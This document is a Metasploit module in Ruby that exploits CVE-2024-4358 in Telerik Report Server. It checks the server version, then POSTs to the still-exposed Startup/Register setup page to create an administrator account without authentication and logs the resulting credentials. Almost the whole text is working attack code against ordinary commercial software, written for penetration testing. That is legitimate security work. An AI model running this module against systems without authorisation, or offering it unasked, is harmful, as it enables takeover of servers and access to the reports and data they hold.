Telerik Report Server Auth Bypass

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Telerik Report Server Auth Bypass',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability in Telerik Report Server versions 10.0.24.305 and  
prior which allows an unauthenticated attacker to create a new account with administrative privileges. The  
vulnerability leverages the initial setup page which is still accessible once the setup process has completed.  
  
If either USERNAME or PASSWORD are not specified, then a random value will be selected. The module will fail if  
the specified USERNAME already exists.  
},  
'Author' => [  
'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up  
'Spencer McIntyre' # MSF module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305  
[ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]  
],  
'DefaultOptions' => {  
'SSL' => false,  
'RPORT' => 83  
},  
'DisclosureDate' => '2024-06-04',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ IOC_IN_LOGS, ],  
'Reliability' => [ ]  
},  
'Actions' => [  
[ 'CHECK', { 'Description' => 'Check for the vulnerability' } ],  
[ 'EXPLOIT', { 'Description' => 'Exploit the vulnerability' } ]  
],  
'DefaultAction' => 'EXPLOIT'  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),  
OptString.new('USERNAME', [false, 'Username for the new account', '']),  
OptString.new('PASSWORD', [false, 'Password for the new account', ''])  
])  
end  
  
def username  
@username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']  
end  
  
def password  
@password ||= datastore['PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD']  
end  
  
def create_account  
# create a new account by exploiting CVE-2024-4358  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'Startup/Register'),  
'vars_post' => {  
'Username' => username,  
'Password' => password,  
'ConfirmPassword' => password,  
'Email' => Faker::Internet.email(name: username),  
'FirstName' => Faker::Name.first_name,  
'LastName' => Faker::Name.last_name  
}  
)  
fail_with(Failure::Unreachable, 'No response received') if res.nil?  
fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index')  
end  
  
def report_creds(user, pass)  
credential_data = {  
module_fullname: fullname,  
username: user,  
private_data: pass,  
private_type: :password,  
workspace_id: myworkspace_id,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
  
create_credential_and_login(credential_data)  
end  
  
def action_check  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'Account/Login'))  
return Exploit::CheckCode::Unknown unless res  
return Exploit::CheckCode::Safe unless res.code == 200  
  
html_doc = res.get_html_document  
return Exploit::CheckCode::Safe unless html_doc&.xpath('//head/title')&.text&.end_with?('Telerik Report Server')  
return Exploit::CheckCode::Detected unless html_doc&.xpath('//head/script')&.text =~ /['"](?<key>dimension2|version)['"]:\s*['"](?<version>(?<d1>\d+\.)+(?<d2>\d+))['"]/  
  
version = Rex::Version.new(Regexp.last_match('version'))  
details = { version: version }  
vprint_status("Detected Telerik Report Server version: #{version}.")  
  
if version > Rex::Version.new('10.0.24.305')  
return Exploit::CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-4358.", details: details)  
end  
  
Exploit::CheckCode::Vulnerable("Telerik Report Server #{version} is affected.", details: details)  
end  
  
alias check action_check  
  
def action_exploit  
print_status('Creating a new administrator account using CVE-2024-4358')  
create_account  
print_good("Created account: #{username}:#{password}")  
report_creds(username, password)  
end  
  
def run  
send("action_#{action.name.downcase}")  
end  
end  
`